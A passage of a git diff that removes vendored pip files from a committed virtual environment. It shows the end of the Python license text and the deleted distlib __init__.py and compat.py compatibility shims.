-FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT
-INFRINGE ANY THIRD PARTY RIGHTS.
-
-5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
-1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
-A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1,
-OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
-
-6. This License Agreement will automatically terminate upon a material
-breach of its terms and conditions.
-
-7. This License Agreement shall be governed by the federal
-intellectual property law of the United States, including without
-limitation the federal copyright law, and, to the extent such
-U.S. federal law does not apply, by the law of the Commonwealth of
-Virginia, excluding Virginia's conflict of law provisions.
-Notwithstanding the foregoing, with regard to derivative works based
-on Python 1.6.1 that incorporate non-separable material that was
-previously distributed under the GNU General Public License (GPL), the
-law of the Commonwealth of Virginia shall govern this License
-Agreement only as to issues arising under or with respect to
-Paragraphs 4, 5, and 7 of this License Agreement.  Nothing in this
-License Agreement shall be deemed to create any relationship of
-agency, partnership, or joint venture between CNRI and Licensee.  This
-License Agreement does not grant permission to use CNRI trademarks or
-trade name in a trademark sense to endorse or promote products or
-services of Licensee, or any third party.
-
-8. By clicking on the "ACCEPT" button where indicated, or by copying,
-installing or otherwise using Python 1.6.1, Licensee agrees to be
-bound by the terms and conditions of this License Agreement.
-
-        ACCEPT
-
-
-CWI LICENSE AGREEMENT FOR PYTHON 0.9.0 THROUGH 1.2
---------------------------------------------------
-
-Copyright (c) 1991 - 1995, Stichting Mathematisch Centrum Amsterdam,
-The Netherlands.  All rights reserved.
-
-Permission to use, copy, modify, and distribute this software and its
-documentation for any purpose and without fee is hereby granted,
-provided that the above copyright notice appear in all copies and that
-both that copyright notice and this permission notice appear in
-supporting documentation, and that the name of Stichting Mathematisch
-Centrum or CWI not be used in advertising or publicity pertaining to
-distribution of the software without specific, written prior
-permission.
-
-STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO
-THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE
-FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
-OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/__init__.py b/venv/Lib/site-packages/pip/_vendor/distlib/__init__.py
deleted file mode 100644
index 3ac0c337da22719587a2f8447e44b12f16780e6c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/__init__.py
+++ /dev/null
@@ -1,33 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Copyright (C) 2012-2024 Vinay Sajip.
-# Licensed to the Python Software Foundation under a contributor agreement.
-# See LICENSE.txt and CONTRIBUTORS.txt.
-#
-import logging
-
-__version__ = '0.4.2'
-
-
-class DistlibException(Exception):
-    pass
-
-
-try:
-    from logging import NullHandler
-except ImportError:  # pragma: no cover
-
-    class NullHandler(logging.Handler):
-
-        def handle(self, record):
-            pass
-
-        def emit(self, record):
-            pass
-
-        def createLock(self):
-            self.lock = None
-
-
-logger = logging.getLogger(__name__)
-logger.addHandler(NullHandler())
diff --git a/venv/Lib/site-packages/pip/_vendor/distlib/compat.py b/venv/Lib/site-packages/pip/_vendor/distlib/compat.py
deleted file mode 100644
index b9c0fecbc603ba80e72a74b4b7b5149834359822..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/distlib/compat.py
+++ /dev/null
@@ -1,1107 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Copyright (C) 2013-2026 Vinay Sajip.
-# Licensed to the Python Software Foundation under a contributor agreement.
-# See LICENSE.txt and CONTRIBUTORS.txt.
-#
-from __future__ import absolute_import
-
-import os
-import re
-import shutil
-import sys
-
-try:
-    import ssl
-except ImportError:  # pragma: no cover
-    ssl = None
-
-if sys.version_info[0] < 3:  # pragma: no cover
-    from StringIO import StringIO
-    string_types = basestring,
-    text_type = unicode
-    from types import FileType as file_type
-    import __builtin__ as builtins
-    import ConfigParser as configparser
-    from urlparse import urlparse, urlunparse, urljoin, urlsplit, urlunsplit
-    from urllib import (urlretrieve, quote as _quote, unquote, url2pathname, pathname2url, ContentTooShortError,
-                        splittype)
-
-    def quote(s):
-        if isinstance(s, unicode):
-            s = s.encode('utf-8')
-        return _quote(s)
-
-    import urllib2
-    from urllib2 import (Request, urlopen, URLError, HTTPError, HTTPBasicAuthHandler, HTTPPasswordMgr, HTTPHandler,
-                         HTTPRedirectHandler, build_opener)
-    if ssl:
-        from urllib2 import HTTPSHandler
-    import httplib
-    import xmlrpclib
-    import Queue as queue
-    from HTMLParser import HTMLParser
-    import htmlentitydefs
-    raw_input = raw_input
-    from itertools import ifilter as filter
-    from itertools import ifilterfalse as filterfalse
-
-    # Leaving this around for now, in case it needs resurrecting in some way
-    # _userprog = None
-    # def splituser(host):
-    # """splituser('user[:passwd]@host[:port]') --> 'user[:passwd]', 'host[:port]'."""
-    # global _userprog
-    # if _userprog is None:
-    # import re
-    # _userprog = re.compile('^(.*)@(.*)$')
-
-    # match = _userprog.match(host)
-    # if match: return match.group(1, 2)
-    # return None, host
-
-else:  # pragma: no cover
-    from io import StringIO
-    string_types = str,
-    text_type = str
-    from io import TextIOWrapper as file_type
-    import builtins
-    import configparser
-    from urllib.parse import (urlparse, urlunparse, urljoin, quote, unquote, urlsplit, urlunsplit, splittype)
-    from urllib.request import (urlopen, urlretrieve, Request, url2pathname, pathname2url, HTTPBasicAuthHandler,
-                                HTTPPasswordMgr, HTTPHandler, HTTPRedirectHandler, build_opener)
-    if ssl:
-        from urllib.request import HTTPSHandler
-    from urllib.error import HTTPError, URLError, ContentTooShortError
-    import http.client as httplib
-    import urllib.request as urllib2
-    import xmlrpc.client as xmlrpclib
-    import queue
-    from html.parser import HTMLParser
-    import html.entities as htmlentitydefs
-    raw_input = input
-    from itertools import filterfalse
-    filter = filter
-
-try:
-    from ssl import match_hostname, CertificateError
-except ImportError:  # pragma: no cover
-
-    class CertificateError(ValueError):
-        pass
-
-    def _dnsname_match(dn, hostname, max_wildcards=1):
-        """Matching according to RFC 6125, section 6.4.3
-
-        http://tools.ietf.org/html/rfc6125#section-6.4.3
-        """
-        pats = []
-        if not dn:
-            return False
-
-        parts = dn.split('.')
-        leftmost, remainder = parts[0], parts[1:]
-
-        wildcards = leftmost.count('*')
-        if wildcards > max_wildcards:
-            # Issue #17980: avoid denials of service by refusing more
-            # than one wildcard per fragment.  A survey of established
-            # policy among SSL implementations showed it to be a
-            # reasonable choice.
-            raise CertificateError('Too many wildcards in certificate DNS name: %r' % dn)
-
-        # speed up common case w/o wildcards
-        if not wildcards:
-            return dn.lower() == hostname.lower()
-
-        # RFC 6125, section 6.4.3, subitem 1.
-        # The client SHOULD NOT attempt to match a presented identifier in which
-        # the wildcard character comprises a label other than the left-most label.
-        if leftmost == '*':
-            # When '*' is a fragment by itself, it matches a non-empty dotless
-            # fragment.
-            pats.append('[^.]+')
-        elif leftmost.startswith('xn--') or hostname.startswith('xn--'):
-            # RFC 6125, section 6.4.3, subitem 3.
-            # The client SHOULD NOT attempt to match a presented identifier
-            # where the wildcard character is embedded within an A-label or
-            # U-label of an internationalized domain name.
-            pats.append(re.escape(leftmost))
-        else:
-            # Otherwise, '*' matches any dotless string, e.g. www*
-            pats.append(re.escape(leftmost).replace(r'\*', '[^.]*'))
-
-        # add the remaining fragments, ignore any wildcards
-        for frag in remainder:
-            pats.append(re.escape(frag))
-
-        pat = re.compile(r'\A' + r'\.'.join(pats) + r'\Z', re.IGNORECASE)
-        return pat.match(hostname)
-
-    def match_hostname(cert, hostname):
-        """Verify that *cert* (in decoded format as returned by
-        SSLSocket.getpeercert()) matches the *hostname*.  RFC 2818 and RFC 6125
-        rules are followed, but IP addresses are not accepted for *hostname*.
-
-        CertificateError is raised on failure. On success, the function
-        returns nothing.
-        """
-        if not cert:
-            raise ValueError("empty or no certificate, match_hostname needs a "
-                             "SSL socket or SSL context with either "
-                             "CERT_OPTIONAL or CERT_REQUIRED")
-        dnsnames = []
-        san = cert.get('subjectAltName', ())
-        for key, value in san:
-            if key == 'DNS':
-                if _dnsname_match(value, hostname):
-                    return
-                dnsnames.append(value)
-        if not dnsnames:
-            # The subject is only checked when there is no dNSName entry
-            # in subjectAltName
-            for sub in cert.get('subject', ()):
-                for key, value in sub:
-                    # XXX according to RFC 2818, the most specific Common Name
-                    # must be used.
-                    if key == 'commonName':
-                        if _dnsname_match(value, hostname):
-                            return
-                        dnsnames.append(value)
-        if len(dnsnames) > 1:
-            raise CertificateError("hostname %r "
-                                   "doesn't match either of %s" % (hostname, ', '.join(map(repr, dnsnames))))
-        elif len(dnsnames) == 1:
-            raise CertificateError("hostname %r "
-                                   "doesn't match %r" % (hostname, dnsnames[0]))
-        else:
-            raise CertificateError("no appropriate commonName or "
-                                   "subjectAltName fields were found")
-
-
-try:
-    from types import SimpleNamespace as Container
-except ImportError:  # pragma: no cover
-
-    class Container(object):
-        """
-        A generic container for when multiple values need to be returned
-        """
-
-        def __init__(self, **kwargs):
-            self.__dict__.update(kwargs)
-
-
-try:
-    from shutil import which
-except ImportError:  # pragma: no cover
-    # Implementation from Python 3.3
-    def which(cmd, mode=os.F_OK | os.X_OK, path=None):
-        """Given a command, mode, and a PATH string, return the path which
-        conforms to the given mode on the PATH, or None if there is no such
-        file.
-
-        `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
-        of os.environ.get("PATH"), or can be overridden with a custom search
-        path.
-
-        """
-
-        # Check that a given file can be accessed with the correct mode.
-        # Additionally check that `file` is not a directory, as on Windows
-        # directories pass the os.access check.
-        def _access_check(fn, mode):
-            return (os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn))
-
-        # If we're given a path with a directory part, look it up directly rather
-        # than referring to PATH directories. This includes checking relative to the
-        # current directory, e.g. ./script
-        if os.path.dirname(cmd):
-            if _access_check(cmd, mode):
-                return cmd
-            return None
-
-        if path is None:
-            path = os.environ.get("PATH", os.defpath)
-        if not path:
-            return None
-        path = path.split(os.pathsep)
-
-        if sys.platform == "win32":
-            # The current directory takes precedence on Windows.
-            if os.curdir not in path:
-                path.insert(0, os.curdir)
-
-            # PATHEXT is necessary to check on Windows.
-            pathext = os.environ.get("PATHEXT", "").split(os.pathsep)
-            # See if the given file matches any of the expected path extensions.
-            # This will allow us to short circuit when given "python.exe".
-            # If it does match, only test that one, otherwise we have to try
-            # others.
-            if any(cmd.lower().endswith(ext.lower()) for ext in pathext):
-                files = [cmd]
-            else:
-                files = [cmd + ext for ext in pathext]
-        else:
-            # On other platforms you don't have things like PATHEXT to tell you
-            # what file suffixes are executable, so just pass on cmd as-is.
-            files = [cmd]
-
-        seen = set()
-        for dir in path:
-            normdir = os.path.normcase(dir)
-            if normdir not in seen:
-                seen.add(normdir)
-                for thefile in files:
-                    name = os.path.join(dir, thefile)
-                    if _access_check(name, mode):
-                        return name
-        return None
-
-
-# ZipFile is a context manager in 2.7, but not in 2.6
-
-from zipfile import ZipFile as BaseZipFile
-
-if hasattr(BaseZipFile, '__enter__'):  # pragma: no cover
-    ZipFile = BaseZipFile
-else:  # pragma: no cover
-    from zipfile import ZipExtFile as BaseZipExtFile
-
-    class ZipExtFile(BaseZipExtFile):
-
-        def __init__(self, base):
-            self.__dict__.update(base.__dict__)
-
-        def __enter__(self):
-            return self
-
-        def __exit__(self, *exc_info):
-            self.close()
-            # return None, so if an exception occurred, it will propagate
-
-    class ZipFile(BaseZipFile):
-
-        def __enter__(self):
-            return self
-
-        def __exit__(self, *exc_info):
-            self.close()
-            # return None, so if an exception occurred, it will propagate
-
-        def open(self, *args, **kwargs):
-            base = BaseZipFile.open(self, *args, **kwargs)
-            return ZipExtFile(base)
-
-
-try:
-    from platform import python_implementation
-except ImportError:  # pragma: no cover
-
-    def python_implementation():
-        """Return a string identifying the Python implementation."""
-        if 'PyPy' in sys.version:
-            return 'PyPy'
-        if os.name == 'java':
-            return 'Jython'
-        if sys.version.startswith('IronPython'):
-            return 'IronPython'
-        return 'CPython'
-
-
-import sysconfig
-
-try:
-    callable = callable
-except NameError:  # pragma: no cover
-    from collections.abc import Callable
-
-    def callable(obj):
-        return isinstance(obj, Callable)
-
-
-try:
-    fsencode = os.fsencode
-    fsdecode = os.fsdecode
-except AttributeError:  # pragma: no cover
-    # Issue #99: on some systems (e.g. containerised),
-    # sys.getfilesystemencoding() returns None, and we need a real value,
-    # so fall back to utf-8. From the CPython 2.7 docs relating to Unix and
-    # sys.getfilesystemencoding(): the return value is "the user’s preference
-    # according to the result of nl_langinfo(CODESET), or None if the
-    # nl_langinfo(CODESET) failed."
-    _fsencoding = sys.getfilesystemencoding() or 'utf-8'
-    if _fsencoding == 'mbcs':
-        _fserrors = 'strict'
-    else:
-        _fserrors = 'surrogateescape'
-
-    def fsencode(filename):
-        if isinstance(filename, bytes):
-            return filename
-        elif isinstance(filename, text_type):
-            return filename.encode(_fsencoding, _fserrors)
-        else:
-            raise TypeError("expect bytes or str, not %s" % type(filename).__name__)
-
-    def fsdecode(filename):
-        if isinstance(filename, text_type):
-            return filename
-        elif isinstance(filename, bytes):
-            return filename.decode(_fsencoding, _fserrors)
-        else:
-            raise TypeError("expect bytes or str, not %s" % type(filename).__name__)
-
-
-try:
-    from tokenize import detect_encoding
-except ImportError:  # pragma: no cover
-    from codecs import BOM_UTF8, lookup
-
-    cookie_re = re.compile(r"coding[:=]\s*([-\w.]+)")
-
-    def _get_normal_name(orig_enc):
-        """Imitates get_normal_name in tokenizer.c."""
-        # Only care about the first 12 characters.
-        enc = orig_enc[:12].lower().replace("_", "-")
-        if enc == "utf-8" or enc.startswith("utf-8-"):
-            return "utf-8"
-        if enc in ("latin-1", "iso-8859-1", "iso-latin-1") or \
-           enc.startswith(("latin-1-", "iso-8859-1-", "iso-latin-1-")):
-            return "iso-8859-1"
-        return orig_enc
-
-    def detect_encoding(readline):
-        """
-        The detect_encoding() function is used to detect the encoding that should
-        be used to decode a Python source file.  It requires one argument, readline,
-        in the same way as the tokenize() generator.
-
-        It will call readline a maximum of twice, and return the encoding used
-        (as a string) and a list of any lines (left as bytes) it has read in.
-
-        It detects the encoding from the presence of a utf-8 bom or an encoding
-        cookie as specified in pep-0263.  If both a bom and a cookie are present,
-        but disagree, a SyntaxError will be raised.  If the encoding cookie is an
-        invalid charset, raise a SyntaxError.  Note that if a utf-8 bom is found,
-        'utf-8-sig' is returned.
-
-        If no encoding is specified, then the default of 'utf-8' will be returned.
-        """
-        try:
-            filename = readline.__self__.name
-        except AttributeError:
-            filename = None
-        bom_found = False
-        encoding = None
-        default = 'utf-8'
-
-        def read_or_stop():
-            try:
-                return readline()
-            except StopIteration:
-                return b''
-
-        def find_cookie(line):
-            try:
-                # Decode as UTF-8. Either the line is an encoding declaration,
-                # in which case it should be pure ASCII, or it must be UTF-8
-                # per default encoding.
-                line_string = line.decode('utf-8')
-            except UnicodeDecodeError:
-                msg = "invalid or missing encoding declaration"
-                if filename is not None:
-                    msg = '{} for {!r}'.format(msg, filename)
-                raise SyntaxError(msg)
-
-            matches = cookie_re.findall(line_string)
-            if not matches:
-                return None
-            encoding = _get_normal_name(matches[0])
-            try:
-                codec = lookup(encoding)
-            except LookupError:
-                # This behaviour mimics the Python interpreter
-                if filename is None:
-                    msg = "unknown encoding: " + encoding
-                else:
-                    msg = "unknown encoding for {!r}: {}".format(filename, encoding)
-                raise SyntaxError(msg)
-
-            if bom_found:
-                if codec.name != 'utf-8':
-                    # This behaviour mimics the Python interpreter
-                    if filename is None:
-                        msg = 'Encoding problem: utf-8'
-                    else:
-                        msg = 'Encoding problem for %r: utf-8' % filename
-                    raise SyntaxError(msg)
-                encoding += '-sig'
-            return encoding
-
-        first = read_or_stop()
-        if first.startswith(BOM_UTF8):
-            bom_found = True
-            first = first[3:]
-            default = 'utf-8-sig'
-        if not first:
-            return default, []
-
-        encoding = find_cookie(first)
-        if encoding:
-            return encoding, [first]
-
-        second = read_or_stop()
-        if not second:
-            return default, [first]
-
-        encoding = find_cookie(second)
-        if encoding:
-            return encoding, [first, second]
-
-        return default, [first, second]
-
-
-# For converting & <-> & etc.
-try:
-    from html import escape
-except ImportError:
-    from cgi import escape
-if sys.version_info[:2] < (3, 4):
-    unescape = HTMLParser().unescape
-else:
-    from html import unescape
-
-try:
-    from collections import ChainMap
-except ImportError:  # pragma: no cover
-    from collections import MutableMapping
-
-    try:
-        from reprlib import recursive_repr as _recursive_repr
-    except ImportError:
-
-        def _recursive_repr(fillvalue='...'):
-            '''
-            Decorator to make a repr function return fillvalue for a recursive
-            call
-            '''
-
-            def decorating_function(user_function):
-                repr_running = set()
-
-                def wrapper(self):
-                    key = id(self), get_ident()
-                    if key in repr_running:
-                        return fillvalue
-                    repr_running.add(key)
-                    try:
-                        result = user_function(self)
-                    finally:
-                        repr_running.discard(key)
-                    return result
-
-                # Can't use functools.wraps() here because of bootstrap issues
-                wrapper.__module__ = getattr(user_function, '__module__')
-                wrapper.__doc__ = getattr(user_function, '__doc__')
-                wrapper.__name__ = getattr(user_function, '__name__')
-                wrapper.__annotations__ = getattr(user_function, '__annotations__', {})
-                return wrapper
-
-            return decorating_function
-
-    class ChainMap(MutableMapping):
-        '''
-        A ChainMap groups multiple dicts (or other mappings) together
-        to create a single, updateable view.
-
-        The underlying mappings are stored in a list.  That list is public and can
-        accessed or updated using the *maps* attribute.  There is no other state.
-
-        Lookups search the underlying mappings successively until a key is found.
-        In contrast, writes, updates, and deletions only operate on the first
-        mapping.
-        '''
-
-        def __init__(self, *maps):
-            '''Initialize a ChainMap by setting *maps* to the given mappings.
-            If no mappings are provided, a single empty dictionary is used.
-
-            '''
-            self.maps = list(maps) or [{}]  # always at least one map
-
-        def __missing__(self, key):
-            raise KeyError(key)
-
-        def __getitem__(self, key):
-            for mapping in self.maps:
-                try:
-                    return mapping[key]  # can't use 'key in mapping' with defaultdict
-                except KeyError:
-                    pass
-            return self.__missing__(key)  # support subclasses that define __missing__
-
-        def get(self, key, default=None):
-            return self[key] if key in self else default
-
-        def __len__(self):
-            return len(set().union(*self.maps))  # reuses stored hash values if possible
-
-        def __iter__(self):
-            return iter(set().union(*self.maps))
-
-        def __contains__(self, key):
-            return any(key in m for m in self.maps)
-
-        def __bool__(self):
-            return any(self.maps)
-
-        @_recursive_repr()
-        def __repr__(self):
-            return '{0.__class__.__name__}({1})'.format(self, ', '.join(map(repr, self.maps)))
-
-        @classmethod
-        def fromkeys(cls, iterable, *args):
-            'Create a ChainMap with a single dict created from the iterable.'
-            return cls(dict.fromkeys(iterable, *args))
-
-        def copy(self):
-            'New ChainMap or subclass with a new copy of maps[0] and refs to maps[1:]'
-            return self.__class__(self.maps[0].copy(), *self.maps[1:])
-
-        __copy__ = copy
-
-        def new_child(self):  # like Django's Context.push()
-            'New ChainMap with a new dict followed by all previous maps.'
-            return self.__class__({}, *self.maps)
-
-        @property
-        def parents(self):  # like Django's Context.pop()
-            'New ChainMap from maps[1:].'
-            return self.__class__(*self.maps[1:])
-
-        def __setitem__(self, key, value):
-            self.maps[0][key] = value
-
-        def __delitem__(self, key):
-            try:
-                del self.maps[0][key]
-            except KeyError:
-                raise KeyError('Key not found in the first mapping: {!r}'.format(key))
-
-        def popitem(self):
-            'Remove and return an item pair from maps[0]. Raise KeyError is maps[0] is empty.'
-            try:
-                return self.maps[0].popitem()
-            except KeyError:
-                raise KeyError('No keys found in the first mapping.')
-
-        def pop(self, key, *args):
-            'Remove *key* from maps[0] and return its value. Raise KeyError if *key* not in maps[0].'
-            try:
-                return self.maps[0].pop(key, *args)
-            except KeyError:
-                raise KeyError('Key not found in the first mapping: {!r}'.format(key))
-
-        def clear(self):
-            'Clear maps[0], leaving maps[1:] intact.'
-            self.maps[0].clear()
-
-
-try:
-    from importlib.util import cache_from_source  # Python >= 3.4
-except ImportError:  # pragma: no cover
-
-    def cache_from_source(path, debug_override=None, optimization=None):
-        assert path.endswith('.py')
-        if debug_override is None:
-            debug_override = __debug__
-        if debug_override:
-            suffix = 'c'
-        else:
-            suffix = 'o'
-        return path + suffix
-
-
-try:
-    from collections import OrderedDict
-except ImportError:  # pragma: no cover
-    # {{{ http://code.activestate.com/recipes/576693/ (r9)
-    # Backport of OrderedDict() class that runs on Python 2.4, 2.5, 2.6, 2.7 and pypy.
-    # Passes Python2.7's test suite and incorporates all the latest updates.
-    try:
-        from thread import get_ident as _get_ident
-    except ImportError:
-        from dummy_thread import get_ident as _get_ident
-
-    try:
-        from _abcoll import KeysView, ValuesView, ItemsView
-    except ImportError:
-        pass
-
-    class OrderedDict(dict):
-        'Dictionary that remembers insertion order'
-
-        # An inherited dict maps keys to values.
-        # The inherited dict provides __getitem__, __len__, __contains__, and get.
-        # The remaining methods are order-aware.
-        # Big-O running times for all methods are the same as for regular dictionaries.
-
-        # The internal self.__map dictionary maps keys to links in a doubly linked list.
-        # The circular doubly linked list starts and ends with a sentinel element.
-        # The sentinel element never gets deleted (this simplifies the algorithm).
-        # Each link is stored as a list of length three:  [PREV, NEXT, KEY].
-
-        def __init__(self, *args, **kwds):
-            '''Initialize an ordered dictionary.  Signature is the same as for
-            regular dictionaries, but keyword arguments are not recommended
-            because their insertion order is arbitrary.
-
-            '''
-            if len(args) > 1:
-                raise TypeError('expected at most 1 arguments, got %d' % len(args))
-            try:
-                self.__root
-            except AttributeError:
-                self.__root = root = []  # sentinel node
-                root[:] = [root, root, None]
-                self.__map = {}
-            self.__update(*args, **kwds)
-
-        def __setitem__(self, key, value, dict_setitem=dict.__setitem__):
-            'od.__setitem__(i, y) <==> od[i]=y'
-            # Setting a new item creates a new link which goes at the end of the linked
-            # list, and the inherited dictionary is updated with the new key/value pair.
-            if key not in self:
-                root = self.__root
-                last = root[0]
-                last[1] = root[0] = self.__map[key] = [last, root, key]
-            dict_setitem(self, key, value)
-
-        def __delitem__(self, key, dict_delitem=dict.__delitem__):
-            'od.__delitem__(y) <==> del od[y]'
-            # Deleting an existing item uses self.__map to find the link which is
-            # then removed by updating the links in the predecessor and successor nodes.
-            dict_delitem(self, key)
-            link_prev, link_next, key = self.__map.pop(key)
-            link_prev[1] = link_next
-            link_next[0] = link_prev
-
-        def __iter__(self):
-            'od.__iter__() <==> iter(od)'
-            root = self.__root
-            curr = root[1]
-            while curr is not root:
-                yield curr[2]
-                curr = curr[1]
-
-        def __reversed__(self):
-            'od.__reversed__() <==> reversed(od)'
-            root = self.__root
-            curr = root[0]
-            while curr is not root:
-                yield curr[2]
-                curr = curr[0]
-
-        def clear(self):
-            'od.clear() -> None.  Remove all items from od.'
-            try:
-                for node in self.__map.itervalues():
-                    del node[:]
-                root = self.__root
-                root[:] = [root, root, None]
-                self.__map.clear()
-            except AttributeError:
-                pass
-            dict.clear(self)
-
-        def popitem(self, last=True):
-            '''od.popitem() -> (k, v), return and remove a (key, value) pair.
-            Pairs are returned in LIFO order if last is true or FIFO order if false.
-
-            '''
-            if not self:
-                raise KeyError('dictionary is empty')
-            root = self.__root
-            if last:
-                link = root[0]
-                link_prev = link[0]
-                link_prev[1] = root
-                root[0] = link_prev
-            else:
-                link = root[1]
-                link_next = link[1]
-                root[1] = link_next
-                link_next[0] = root
-            key = link[2]
-            del self.__map[key]
-            value = dict.pop(self, key)
-            return key, value
-
-        # -- the following methods do not depend on the internal structure --
-
-        def keys(self):
-            'od.keys() -> list of keys in od'
-            return list(self)
-
-        def values(self):
-            'od.values() -> list of values in od'
-            return [self[key] for key in self]
-
-        def items(self):
-            'od.items() -> list of (key, value) pairs in od'
-            return [(key, self[key]) for key in self]
-
-        def iterkeys(self):
-            'od.iterkeys() -> an iterator over the keys in od'
-            return iter(self)
-
-        def itervalues(self):
-            'od.itervalues -> an iterator over the values in od'
-            for k in self:
-                yield self[k]
-
-        def iteritems(self):
-            'od.iteritems -> an iterator over the (key, value) items in od'
-            for k in self:
-                yield (k, self[k])
-
-        def update(*args, **kwds):
-            '''od.update(E, **F) -> None.  Update od from dict/iterable E and F.
-
-            If E is a dict instance, does:           for k in E: od[k] = E[k]
-            If E has a .keys() method, does:         for k in E.keys(): od[k] = E[k]
-            Or if E is an iterable of items, does:   for k, v in E: od[k] = v
-            In either case, this is followed by:     for k, v in F.items(): od[k] = v
-
-            '''
-            if len(args) > 2:
-                raise TypeError('update() takes at most 2 positional '
-                                'arguments (%d given)' % (len(args), ))
-            elif not args:
-                raise TypeError('update() takes at least 1 argument (0 given)')
-            self = args[0]
-            # Make progressively weaker assumptions about "other"
-            other = ()
-            if len(args) == 2:
-                other = args[1]
-            if isinstance(other, dict):
-                for key in other:
-                    self[key] = other[key]
-            elif hasattr(other, 'keys'):
-                for key in other.keys():
-                    self[key] = other[key]
-            else:
-                for key, value in other:
-                    self[key] = value
-            for key, value in kwds.items():
-                self[key] = value
-
-        __update = update  # let subclasses override update without breaking __init__
-
-        __marker = object()
-
-        def pop(self, key, default=__marker):
-            '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value.
-            If key is not found, d is returned if given, otherwise KeyError is raised.
-
-            '''
-            if key in self:
-                result = self[key]
-                del self[key]
-                return result
-            if default is self.__marker:
-                raise KeyError(key)
-            return default
-
-        def setdefault(self, key, default=None):
-            'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od'
-            if key in self:
-                return self[key]
-            self[key] = default
-            return default
-
-        def __repr__(self, _repr_running=None):
-            'od.__repr__() <==> repr(od)'
-            if not _repr_running:
-                _repr_running = {}
-            call_key = id(self), _get_ident()
-            if call_key in _repr_running:
-                return '...'
-            _repr_running[call_key] = 1
-            try:
-                if not self:
-                    return '%s()' % (self.__class__.__name__, )
-                return '%s(%r)' % (self.__class__.__name__, self.items())
-            finally:
-                del _repr_running[call_key]
-
-        def __reduce__(self):
-            'Return state information for pickling'
-            items = [[k, self[k]] for k in self]
-            inst_dict = vars(self).copy()
-            for k in vars(OrderedDict()):
-                inst_dict.pop(k, None)
-            if inst_dict:
-                return (self.__class__, (items, ), inst_dict)
-            return self.__class__, (items, )
-
-        def copy(self):
-            'od.copy() -> a shallow copy of od'
-            return self.__class__(self)
-
-        @classmethod
-        def fromkeys(cls, iterable, value=None):
-            '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S
-            and values equal to v (which defaults to None).
-
-            '''
-            d = cls()
-            for key in iterable:
-                d[key] = value
-            return d
-
-        def __eq__(self, other):
-            '''od.__eq__(y) <==> od==y.  Comparison to another OD is order-sensitive
-            while comparison to a regular mapping is order-insensitive.
-
-            '''
-            if isinstance(other, OrderedDict):
-                return len(self) == len(other) and self.items() == other.items()
-            return dict.__eq__(self, other)
-
-        def __ne__(self, other):
-            return not self == other
-
-        # -- the following methods are only used in Python 2.7 --
-
-        def viewkeys(self):
-            "od.viewkeys() -> a set-like object providing a view on od's keys"
-            return KeysView(self)
-
-        def viewvalues(self):
-            "od.viewvalues() -> an object providing a view on od's values"
-            return ValuesView(self)
-
-        def viewitems(self):
-            "od.viewitems() -> a set-like object providing a view on od's items"
-            return ItemsView(self)
-
-
-try:
-    from logging.config import BaseConfigurator, valid_ident
-except ImportError:  # pragma: no cover
-    IDENTIFIER = re.compile('^[a-z_][a-z0-9_]*$', re.I)
-
-    def valid_ident(s):
-        m = IDENTIFIER.match(s)
-        if not m:
-            raise ValueError('Not a valid Python identifier: %r' % s)
-        return True
-
-    # The ConvertingXXX classes are wrappers around standard Python containers,
-    # and they serve to convert any suitable values in the container. The
-    # conversion converts base dicts, lists and tuples to their wrapped
-    # equivalents, whereas strings which match a conversion format are converted
-    # appropriately.
-    #
-    # Each wrapper should have a configurator attribute holding the actual
-    # configurator to use for conversion.
-
-    class ConvertingDict(dict):
-        """A converting dictionary wrapper."""
-
-        def __getitem__(self, key):
-            value = dict.__getitem__(self, key)
-            result = self.configurator.convert(value)
-            # If the converted value is different, save for next time
-            if value is not result:
-                self[key] = result
-                if type(result) in (ConvertingDict, ConvertingList, ConvertingTuple):
-                    result.parent = self
-                    result.key = key
-            return result
-
-        def get(self, key, default=None):
-            value = dict.get(self, key, default)
-            result = self.configurator.convert(value)
-            # If the converted value is different, save for next time
-            if value is not result:
-                self[key] = result
-                if type(result) in (ConvertingDict, ConvertingList, ConvertingTuple):
-                    result.parent = self
-                    result.key = key
-            return result
-
-    def pop(self, key, default=None):
-        value = dict.pop(self, key, default)
-        result = self.configurator.convert(value)
-        if value is not result:
-            if type(result) in (ConvertingDict, ConvertingList, ConvertingTuple):
-                result.parent = self
-                result.key = key
-        return result
-
-    class ConvertingList(list):
-        """A converting list wrapper."""
-
-        def __getitem__(self, key):
-            value = list.__getitem__(self, key)
-            result = self.configurator.convert(value)
-            # If the converted value is different, save for next time
-            if value is not result:
-                self[key] = result
-                if type(result) in (ConvertingDict, ConvertingList, ConvertingTuple):
-                    result.parent = self
-                    result.key = key
-            return result
-
-        def pop(self, idx=-1):
-            value = list.pop(self, idx)
-            result = self.configurator.convert(value)
-            if value is not result:
-                if type(result) in (ConvertingDict, ConvertingList, ConvertingTuple):
-                    result.parent = self
-            return result
-
-    class ConvertingTuple(tuple):
-        """A converting tuple wrapper."""
-
-        def __getitem__(self, key):
-            value = tuple.__getitem__(self, key)
